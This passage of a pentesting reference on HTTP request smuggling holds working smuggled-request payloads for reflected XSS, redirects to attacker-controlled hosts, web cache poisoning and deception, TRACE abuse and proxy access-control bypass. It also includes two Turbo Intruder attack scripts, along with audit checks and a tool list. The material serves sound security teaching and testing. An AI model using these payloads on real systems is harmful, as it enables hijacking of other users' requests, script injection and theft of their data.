csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment= 635 ``` 636 637 In this scenario, the **comment parameter** is intended to store the contents within a post's comment section on a publicly accessible page. Consequently, the subsequent request's contents will appear as a comment. 638 639 However, this technique has limitations. Generally, it captures data only up to the parameter delimiter used in the smuggled request. For URL-encoded form submissions, this delimiter is the `&` character. This means the captured content from the victim user's request will stop at the first `&`, which may even be part of the query string. 640 641 Additionally, it's worth noting that this approach is also viable with a TE.CL vulnerability. In such cases, the request should conclude with `search=\r\n0`. Regardless of newline characters, the values will be appended to the search parameter. 642 643 ### Using HTTP request smuggling to exploit reflected XSS 644 645 HTTP Request Smuggling can be leveraged to exploit web pages vulnerable to **Reflected XSS**, offering significant advantages: 646 647 - Interaction with the target users is **not required**. 648 - Allows the exploitation of XSS in parts of the request that are **normally unattainable**, like HTTP request headers.<sup>[[3]](#references)</sup> 649 650 In scenarios where a website is susceptible to Reflected XSS through the User-Agent header, the following payload demonstrates how to exploit this vulnerability: 651 652 ```text 653 POST / HTTP/1.1 654 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net 655 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 656 Cookie: session=ac311fa41f0aa1e880b0594d008d009e 657 Transfer-Encoding: chunked 658 Connection: keep-alive 659 Content-Length: 213 660 Content-Type: application/x-www-form-urlencoded 661 662 0 663 664 GET /post?postId=2 HTTP/1.1 665 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net 666 User-Agent: "><script>alert(1)</script> 667 Content-Length: 10 668 Content-Type: application/x-www-form-urlencoded 669 670 A= 671 ``` 672 673 This payload is structured to exploit the vulnerability by: 674 675 1. Initiating a `POST` request, seemingly typical, with a `Transfer-Encoding: chunked` header to indicate the start of smuggling. 676 2. Following with a `0`, marking the end of the chunked message body. 677 3. Then, a smuggled `GET` request is introduced, where the `User-Agent` header is injected with a script, `<script>alert(1)</script>`, triggering the XSS when the server processes this subsequent request. 678 679 By manipulating the `User-Agent` through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner. 680 681 #### HTTP/0.9 682 683 > [!CAUTION] 684 > In case the user content is reflected in a response with a **`Content-type`** such as **`text/plain`**, preventing the execution of the XSS. If the server support **HTTP/0.9 it might be possible to bypass this**! 685 686 The version HTTP/0.9 was previously to the 1.0 and only uses **GET** verbs and **doesn’t** respond with **headers**, just the body. 687 688 In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with a request smuggling and a **vulnerable endpoint that will reply with the input of the user** to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a **fake HTTP/1.1 response (with headers and body)** so the response will contain valid executable JS code with a `Content-Type` of `text/html`.<sup>[[10]](#references)</sup> 689 690 ### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a> 691 692 Applications often redirect from one URL to another by using the hostname from the `Host` header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash:<sup>[[3]](#references)</sup> 693 694 ```text 695 GET /home HTTP/1.1 696 Host: normal-website.com 697 ``` 698 699 Results in: 700 701 ```text 702 HTTP/1.1 301 Moved Permanently 703 Location: https://normal-website.com/home/ 704 ``` 705 706 Though seemingly harmless, this behavior can be manipulated using HTTP request smuggling to redirect users to an external site. For example: 707 708 ```text 709 POST / HTTP/1.1 710 Host: vulnerable-website.com 711 Content-Length: 54 712 Connection: keep-alive 713 Transfer-Encoding: chunked 714 715 0 716 717 GET /home HTTP/1.1 718 Host: attacker-website.com 719 Foo: X 720 ``` 721 722 This smuggled request could cause the next processed user request to be redirected to an attacker-controlled website: 723 724 ```text 725 GET /home HTTP/1.1 726 Host: attacker-website.com 727 Foo: XGET /scripts/include.js HTTP/1.1 728 Host: vulnerable-website.com 729 ``` 730 731 Results in: 732 733 ```text 734 HTTP/1.1 301 Moved Permanently 735 Location: https://attacker-website.com/home/ 736 ``` 737 738 In this scenario, a user's request for a JavaScript file is hijacked. The attacker can potentially compromise the user by serving malicious JavaScript in response. 739 740 ### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a> 741 742 Web cache poisoning can be executed if any component of the **front-end infrastructure caches content**, typically to enhance performance. By manipulating the server's response, it's possible to **poison the cache**.<sup>[[3]](#references)</sup> 743 744 Previously, we observed how server responses could be altered to return a 404 error (refer to [Basic Examples](#basic-examples)). Similarly, it’s feasible to trick the server into delivering `/index.html` content in response to a request for `/static/include.js`. Consequently, the `/static/include.js` content gets replaced in the cache with that of `/index.html`, rendering `/static/include.js` inaccessible to users, potentially leading to a Denial of Service (DoS). 745 746 This technique becomes particularly potent if an **Open Redirect vulnerability** is discovered or if there's an **on-site redirect to an open redirect**. Such vulnerabilities can be exploited to replace the cached content of `/static/include.js` with a script under the attacker's control, essentially enabling a widespread Cross-Site Scripting (XSS) attack against all clients requesting the updated `/static/include.js`. 747 748 Below is an illustration of exploiting **cache poisoning combined with an on-site redirect to open redirect**. The objective is to alter the cache content of `/static/include.js` to serve JavaScript code controlled by the attacker: 749 750 ```text 751 POST / HTTP/1.1 752 Host: vulnerable.net 753 Content-Type: application/x-www-form-urlencoded 754 Connection: keep-alive 755 Content-Length: 124 756 Transfer-Encoding: chunked 757 758 0 759 760 GET /post/next?postId=3 HTTP/1.1 761 Host: attacker.net 762 Content-Type: application/x-www-form-urlencoded 763 Content-Length: 10 764 765 x=1 766 ``` 767 768 Note the embedded request targeting `/post/next?postId=3`. This request will be redirected to `/post?postId=4`, utilizing the **Host header value** to determine the domain. By altering the **Host header**, the attacker can redirect the request to their domain (**on-site redirect to open redirect**). 769 770 After successful **socket poisoning**, a **GET request** for `/static/include.js` should be initiated. This request will be contaminated by the prior **on-site redirect to open redirect** request and fetch the content of the script controlled by the attacker. 771 772 Subsequently, any request for `/static/include.js` will serve the cached content of the attacker's script, effectively launching a broad XSS attack. 773 774 ### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a> 775 776 > **What is the difference between web cache poisoning and web cache deception?** 777 > 778 > - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users. 779 > - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.<sup>[[3]](#references)</sup> 780 781 The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example: 782 783 ```markdown 784 `POST / HTTP/1.1`\ 785 `Host: vulnerable-website.com`\ 786 `Connection: keep-alive`\ 787 `Content-Length: 43`\ 788 `Transfer-Encoding: chunked`\ 789 `` \ `0`\ ``\ 790 `GET /private/messages HTTP/1.1`\ 791 `Foo: X` 792 ``` 793 794 If this smuggled request poisons a cache entry intended for static content (e.g., `/someimage.png`), the victim's sensitive data from `/private/messages` might be cached under the static content's cache entry. Consequently, the attacker could potentially retrieve these cached sensitive data. 795 796 ### Abusing TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a> 797 798 [**In this post**](https://portswigger.net/research/trace-desync-attack) is suggested that if the server has the method TRACE enabled it could be possible to abuse it with a HTTP Request Smuggling. This is because this method will reflect any header sent to the server as part of the body of the response. For example:<sup>[[8]](#references)</sup> 799 800 ```text 801 TRACE / HTTP/1.1 802 Host: example.com 803 XSS: <script>alert("TRACE")</script> 804 ``` 805 806 Will send a response such as: 807 808 ```text 809 HTTP/1.1 200 OK 810 Content-Type: message/http 811 Content-Length: 115 812 813 TRACE / HTTP/1.1 814 Host: vulnerable.com 815 XSS: <script>alert("TRACE")</script> 816 X-Forwarded-For: xxx.xxx.xxx.xxx 817 ``` 818 819 An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. This request will be responded with only the **headers** of a GET request (**`Content-Type`** among them). And smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent dat**a.\ 820 As the HEAD response will be containing a `Content-Length` header, the **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in the response.\ 821 This response will be sent to the next request over the connection, so this could be **used in a cached JS file for example to inject arbitrary JS code**. 822 823 ### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a> 824 825 Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. As commented, smuggling a HEAD request and a TRACE request it's possible to **control some reflected data** in the response to the HEAD request. The length of the body of the HEAD request is basically indicated in the Content-Length header and is formed by the response to the TRACE request.<sup>[[8]](#references)</sup> 826 827 Therefore, the new idea would be that, knowing this Content-Length and the data given in the TRACE response, it's possible to make the TRACE response contains a valid HTTP response after the last byte of the Content-Length, allowing an attacker to completely control the request to the next response (which could be used to perform a cache poisoning). 828 829 Example: 830 831 ```text 832 GET / HTTP/1.1 833 Host: example.com 834 Content-Length: 360 835 836 HEAD /smuggled HTTP/1.1 837 Host: example.com 838 839 POST /reflect HTTP/1.1 840 Host: example.com 841 842 SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n 843 Content-Type: text/html\r\n 844 Cache-Control: max-age=1000000\r\n 845 Content-Length: 44\r\n 846 \r\n 847 <script>alert("response splitting")</script> 848 ``` 849 850 Will generate these responses (note how the HEAD response has a Content-Length making the TRACE response part of the HEAD body and once the HEAD Content-Length ends a valid HTTP response is smuggled): 851 852 ```text 853 HTTP/1.1 200 OK 854 Content-Type: text/html 855 Content-Length: 0 856 857 HTTP/1.1 200 OK 858 Content-Type: text/html 859 Content-Length: 165 860 861 HTTP/1.1 200 OK 862 Content-Type: text/plain 863 Content-Length: 243 864 865 SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok 866 Content-Type: text/html 867 Cache-Control: max-age=1000000 868 Content-Length: 50 869 870 <script>alert(“arbitrary response”)</script> 871 ``` 872 873 ### Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation 874 875 Have you found some HTTP Request Smuggling vulnerability and you don't know how to exploit it. Try these other method of exploitation: 876 877 878 [Http Response Smuggling Desync](/hacktricks/pentesting-web/http-response-smuggling-desync) 879 880 #### Dangling-byte Response Queue Poisoning 881 882 Classic response-queue poisoning often fails because the back-end emits **two responses immediately**, the front-end over-reads into the second one, and resets the connection (the **stacked-response** problem). A strong workaround is to smuggle an **incomplete inner request** whose declared body is missing **exactly one byte**. When the victim later sends `GET /victim...`, the first byte (`G`) completes the smuggled body's missing byte and the remaining bytes (`ET /victim...`) are parsed separately, shifting the response queue without the original race. The next attacker request can then receive the victim response. This works best on method-agnostic back-ends and is one of the most reliable modern RQP upgrades.<sup>[[22]](#references)</sup> 883 884 ```http 885 POST / HTTP/1.1 886 Host: target 887 Content-Type: multipart/byteranges; 888 Content-Length: 123 889 890 POST /smuggled HTTP/1.1 891 Host: target 892 Content-Length: 1 893 ``` 894 895 For full response-side variants, content-confusion chains, and cache-poisoning escalations, review the dedicated response desync page above.<sup>[[22]](#references)</sup> 896 897 ### Anomaly-driven discovery 898 899 Do not discard "weird but unclassified" results. Log mixed text/binary output, duplicated HTML documents, NUL-filled leaks, inline HTTP status lines/headers, and multiple responses to clean single requests. These anomalies can reveal memory disclosure, response forking, or fresh cross-request contamination primitives even when the original probe was not designed as a desync test.<sup>[[22]](#references)</sup> 900 901 ### Other HTTP Request Smuggling Techniques 902 903 - Browser HTTP Request Smuggling (Client Side) 904 905 906 [Browser Http Request Smuggling](/hacktricks/pentesting-web/http-request-smuggling/browser-http-request-smuggling) 907 908 - Request Smuggling in HTTP/2 Downgrades<sup>[[7]](#references)</sup> 909 910 911 [Request Smuggling In Http 2 Downgrades](/hacktricks/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades) 912 913 ## Turbo intruder scripts 914 915 ### CL.TE 916 917 From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)<sup>[[20]](#references)</sup> 918 919 ```python 920 def queueRequests(target, wordlists): 921 922 engine = RequestEngine(endpoint=target.endpoint, 923 concurrentConnections=5, 924 requestsPerConnection=1, 925 resumeSSL=False, 926 timeout=10, 927 pipeline=False, 928 maxRetriesPerRequest=0, 929 engine=Engine.THREADED, 930 ) 931 engine.start() 932 933 attack = '''POST / HTTP/1.1 934 Transfer-Encoding: chunked 935 Host: xxx.com 936 Content-Length: 35 937 Foo: bar 938 939 0 940 941 GET /admin7 HTTP/1.1 942 X-Foo: k''' 943 944 engine.queue(attack) 945 946 victim = '''GET / HTTP/1.1 947 Host: xxx.com 948 949 ''' 950 for i in range(14): 951 engine.queue(victim) 952 time.sleep(0.05) 953 954 def handleResponse(req, interesting): 955 table.add(req) 956 ``` 957 958 ### TE.CL 959 960 From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)<sup>[[21]](#references)</sup> 961 962 ```python 963 def queueRequests(target, wordlists): 964 engine = RequestEngine(endpoint=target.endpoint, 965 concurrentConnections=5, 966 requestsPerConnection=1, 967 resumeSSL=False, 968 timeout=10, 969 pipeline=False, 970 maxRetriesPerRequest=0, 971 engine=Engine.THREADED, 972 ) 973 engine.start() 974 975 attack = '''POST / HTTP/1.1 976 Host: xxx.com 977 Content-Length: 4 978 Transfer-Encoding : chunked 979 980 46 981 POST /nothing HTTP/1.1 982 Host: xxx.com 983 Content-Length: 15 984 985 kk 986 0 987 988 ''' 989 engine.queue(attack) 990 991 victim = '''GET / HTTP/1.1 992 Host: xxx.com 993 994 ''' 995 for i in range(14): 996 engine.queue(victim) 997 time.sleep(0.05) 998 999 1000 def handleResponse(req, interesting): 1001 table.add(req) 1002 ``` 1003 1004 ## Reverse-proxy parsing footguns (Pingora 2026) 1005 1006 Several 2026 Pingora bugs are useful because they show **desync primitives beyond classic CL.TE / TE.CL**. The reusable lesson is: whenever a proxy **stops parsing too early**, **normalizes `Transfer-Encoding` differently from the backend**, or **falls back to read-until-close for request bodies**, you may get FE↔BE desync even without a traditional CL/TE ambiguity.<sup>[[16]](#references)</sup><sup>[[17]](#references)</sup><sup>[[18]](#references)</sup><sup>[[19]](#references)</sup> 1007 1008 ### Premature `Upgrade` passthrough 1009 1010 If a reverse proxy **switches to raw tunnel / passthrough mode as soon as it sees an `Upgrade` header**, without waiting for the backend to confirm the switch with **`101 Switching Protocols`**, you can smuggle a second request in the same TCP stream: 1011 1012 ```http 1013 GET / HTTP/1.1 1014 Host: target.com 1015 Upgrade: anything 1016 Content-Length: 0 1017 1018 GET /admin HTTP/1.1 1019 Host: target.com 1020 ``` 1021 1022 The front-end parses only the first request, then forwards the rest as raw bytes. The backend parses the appended bytes as a new request from the proxy's trusted IP. This is especially useful to: 1023 1024 - Bypass proxy ACLs, WAF rules, auth checks, and rate limits. 1025 - Reach internal-only endpoints that trust the reverse proxy IP. 1026 - Trigger cross-user response queue poisoning on reused backend connections. 1027 1028 When auditing proxies, always test whether **any** `Upgrade` value triggers passthrough, and verify whether the switch happens **before** or **after** the backend replies with `101`. 1029 1030 ### `Transfer-Encoding` normalization bugs + HTTP/1.0 close-delimited fallback 1031 1032 Another useful pattern is: 1033 1034 1. The proxy sees that `Transfer-Encoding` is present, so it strips `Content-Length`. 1035 2. The proxy **fails to normalize TE correctly**. 1036 3. The proxy now has **no recognized framing** and falls back to **close-delimited request bodies** for HTTP/1.0. 1037 4. The backend correctly understands TE and treats bytes after `0\r\n\r\n` as a new request. 1038 1039 Common ways to trigger this: 1040 1041 - **Comma-separated TE list not parsed**: 1042 1043 ```http 1044 GET / HTTP/1.0 1045 Host: target.com 1046 Connection: keep-alive 1047 Transfer-Encoding: identity, chunked 1048 Content-Length: 29 1049 1050 0 1051 1052 GET /admin HTTP/1.1 1053 X: 1054 ``` 1055 1056 - **Duplicate TE headers not merged**: 1057 1058 ```http 1059 POST /legit HTTP/1.0 1060 Host: target.com 1061 Connection: keep-alive 1062 Transfer-Encoding: identity 1063 Transfer-Encoding: chunked 1064 1065 0 1066 1067 GET /admin HTTP/1.1 1068 Host: target.com 1069 X: 1070 ``` 1071 1072 The important audit checks are: 1073 1074 - Does the front-end parse the **last** TE token, as required when `chunked` is last? 1075 - Does it use **all** `Transfer-Encoding` headers instead of just the first one? 1076 - Can you force **HTTP/1.0** to trigger a read-until-close body mode? 1077 - Does the proxy ever allow **close-delimited request bodies**? That is a high-value desync smell by itself. 1078 1079 This class often looks like CL.TE from the outside, but the real primitive is: **TE present --> CL stripped --> no valid framing recognized --> request body forwarded until close**. 1080 1081 ### Related cache poisoning primitive: path-only cache keys 1082 1083 The same Pingora audit also exposed a dangerous reverse-proxy cache anti-pattern: deriving the cache key **only from the URI path**, while ignoring **Host**, scheme, or port. In multi-tenant or multi-vhost deployments, different hosts can then collide on the same cache entry: 1084 1085 ```http 1086 GET /api/data HTTP/1.1 1087 Host: evil.com 1088 ``` 1089 1090 ```http 1091 GET /api/data HTTP/1.1 1092 Host: victim.com 1093 ``` 1094 1095 If both requests map to the same cache key (`/api/data`), one tenant can poison content for another. If the origin reflects the `Host` header in redirects, CORS, HTML, or script URLs, a low-value Host reflection can become **cross-user stored cache poisoning**. 1096 1097 When reviewing caches, confirm that the key includes at least: 1098 1099 - `Host` / virtual host identity 1100 - scheme (`http` vs `https`) when behavior differs 1101 - port when multiple applications share the same cache namespace 1102 1103 ## Tools 1104 1105 - [HTTP Request Smuggler](https://github.com/PortSwigger/http-request-smuggler) provides Burp-based request-smuggling probes and automation helpers.<sup>[[5]](#references)</sup> 1106 - HTTP Hacker (Burp BApp Store) – visualize concatenation/framing and low‑level HTTP behavior 1107 - https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?" 1108 - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling) 1109 - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler) 1110 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py) 1111 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler) 1112 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz) 1113 - [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): This tool is a grammar-based HTTP Fuzzer useful to find weird request smuggling discrepancies. 1114 1115 ## References 1116 1117 - [1] [PortSwigger - HTTP Request Smuggling](https://portswigger.net/web-security/request-smuggling) 1118 - [2] [PortSwigger - Finding HTTP Request Smuggling Vulnerabilities](https://portswigger.net/web-security/request-smuggling/finding) 1119 - [3] [PortSwigger - Exploiting HTTP Request Smuggling Vulnerabilities](https://portswigger.net/web-security/request-smuggling/exploiting) 1120 - [4] [HTTP Request Smuggling in Plain English](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4) 1121 - [5] [PortSwigger - HTTP Request Smuggler](https://github.com/PortSwigger/http-request-smuggler) 1122 - [6] [PortSwigger Academy - Basic CL.TE request smuggling](https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te) 1123 - [7] [PortSwigger Academy - HTTP/2 downgrading](https://portswigger.net/web-security/request-smuggling/advanced/http2-downgrading) 1124 - [8] [PortSwigger Research - TRACE Desync Attack](https://portswigger.net/research/trace-desync-attack) 1125 - [9] [Bugcrowd - Unveiling TE.0 HTTP Request Smuggling: Discovering a Critical Vulnerability in Thousands of Google Cloud Websites](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) 1126 - [10] [Twisty Python (mizu.re)](https://mizu.re/post/twisty-python) 1127 - [11] [PortSwigger Research - Beware the false false‑positive: how to distinguish HTTP pipelining from request smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling) 1128 - [12] [HTTP/1 Must Die](https://http1mustdie.com/) 1129 - [13] [PortSwigger Research - Browser‑Powered Desync Attacks](https://portswigger.net/research/browser-powered-desync-attacks) 1130 - [14] [PortSwigger Academy - Client‑Side Desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync) 1131 - [15] [PortSwigger Research - HTTP/1 Must Die: The Desync Endgame](https://portswigger.net/research/http1-must-die) 1132 - [16] [xclow3n - Breaking Pingora: HTTP Request Smuggling & Cache Poisoning (archived)](https://web.archive.org/web/20260000000000id_/https://xclow3n.github.io/post/6/) 1133 - [17] [Cloudflare Pingora Security Advisory GHSA-xq2h-p299-vjwv](https://github.com/cloudflare/pingora/security/advisories/GHSA-xq2h-p299-vjwv) 1134 - [18] [Cloudflare Pingora Security Advisory GHSA-hj7x-879w-vrp7](https://github.com/cloudflare/pingora/security/advisories/GHSA-hj7x-879w-vrp7) 1135 - [19] [Cloudflare Pingora Security Advisory GHSA-f93w-pcj3-rggc](https://github.com/cloudflare/pingora/security/advisories/GHSA-f93w-pcj3-rggc) 1136 - [20] [hipotermia.pw - HTTP Desync IDOR (Turbo Intruder CL.TE script)](https://hipotermia.pw/bb/http-desync-idor) 1137 - [21] [hipotermia.pw - HTTP Desync Account Takeover (Turbo Intruder TE.CL script)](https://hipotermia.pw/bb/http-desync-account-takeover) 1138 - [22] [PortSwigger Research - Can AI do novel security research? Meet the HTTP Terminator](https://portswigger.net/research/http-terminator) 1139 - [23] [PortSwigger Research - CRLF-Powered Desync Attacks: Beheading HTTP Streams](https://portswigger.net/research/crlf-powered-desync-attacks)